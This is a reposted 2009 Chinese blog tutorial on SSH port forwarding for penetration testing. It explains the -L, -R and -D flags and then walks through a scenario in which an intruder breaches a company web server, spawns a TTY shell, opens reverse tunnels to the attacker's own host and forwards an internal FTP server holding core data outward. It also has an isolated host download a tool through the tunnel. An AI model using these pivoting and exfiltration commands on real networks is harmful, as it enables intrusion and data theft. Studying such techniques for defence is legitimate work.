2009年9月2日 星期三

Depth of SSH Tunnel

author: ring04h[EST]

在滲透測試過程中,經常遇到如下情形,內部網絡主機通過路由器或者安全設備做了訪問控制,無法通過互聯網直接訪問本地開放的服務,Windows方面,國內通常選擇Lcx.exe來進行端口轉發,在應用方面大多數人也會選擇reDuh來進行端口轉發,而*nix卻很少人用系統自帶的ssh、 iptables自身來處理此類問題。
由於時間有限,本文只詳細的介紹ssh tunnel方面的知識,iptables的有空在加上。

SSH的三個端口轉發命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
後台認證用戶/密碼,通常和-N連用,不用登錄到遠程主機。

-p port Connect to this port. Server must be on the same port.
被登錄的ssd服務器的sshd服務端口。

-L port:host:hostport
將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有 root 才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport

-R port:host:hostport
將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有用 root 登錄遠程主機才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport

-D port
指定一個本地機器 「動態的'』 應用程序端口轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 根據應用程序的協議可以判斷出遠程主機將和哪裡連接. 目前支持 SOCKS4 協議, 將充當 SOCKS4 服務器. 只有 root 才能轉發特權端口. 可以在配置文件中指定動態端口的轉發.

-C Enable compression.
壓縮數據傳輸。

-N Do not execute a shell or command.
不執行腳本或命令,通常與-f連用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D參數中,允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接。註:這個參數我在實踐中似乎始終不起作用)

如果想要瞭解更多關於SSH的細節,可以 man ssh ,或參照ssh的DOC.

實例:
------------------------------------------------------------------------------
當駭客A從互聯網入侵了RISUN企業的一台服務器,機器名稱為 GBOSS_WEB
GBOSS_WEB 信息:
外網IP:255.25.55.111
內網IP:10.168.0.10
網絡架構方式為,路由將外網256.25.56.111的80端口映射到內網10.168.0.10的80端口上。

駭客A通過利用80端口開放服務的WEB腳本漏洞,成功繼承到GBOSS_WEB的httpd權限,然後通過perl或者其它語言創建SOCKET獲得一個遠程sh shell。由於back回來的shell可能不穩定,或者使用起來不方便,可以採用SSH建立一個隧道,將GBOSS_WEB服務器上的22端口映射至駭客的本機上(本文章用於演示的駭客機為0x.cn);

通過得到的sh shell,執行 $python -c 'import pty; pty.spawn("/bin/sh")' 獲得一個ttyshell(因為ssh想要tty的支持),然後通過如下命令,映射GBOSS_WEB服務器的22端口至202.65.208.142的44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
這樣登錄0x.cn的ssh服務,ssh -p 44 127.0.0.1 等同於連接GBOSS_WEB的22端口。

駭客A通過利用操作系統系統提升權限至ROOT,再繼續滲透過程中,發現內網還存在另外一台名稱為GBOSS_APP的服務器。
GBOSS_APP 信息:
內網IP:10.168.0.20

駭客通過嗅探獲取了GBOSS_APP服務器的FTP信息,GBOSS_APP服務器FTP保存有RISUN企業的核心數據,由於數據量龐大,需要FTP續傳功能,可通過SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

當駭客成功root掉內網中另一網段中的服務器BILL_APP時,需要從外網下載一些工具,由於內部訪問控制策略,BILL_APP無法連接網,此時可以通過映射外網服務器0x.cn的80端口至GBOSS_WEB的8888端口,然後通過GBOSS_WEB建立的隧道,下載所需工具。
在GBOSS_WEB服務器上執行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通過建立隧道後,在BILL_APP上執行 wget http://10.168.0.10:8888/thepl 等同於訪問http://202.65.208.142/thepl

本文詳細的概述了如何建立隧道的過程,以及相關參數的使用方法,各位懂的高手可以直接飄過。
本文中駭客所使用的地址為真實IP,對應域名:http://0x.cn 歡迎無聊的駭客們破壞。(SSH有個隱藏的密碼,很容易的...)

註: 本文轉載自網路 非原創
轉載自 A TO Z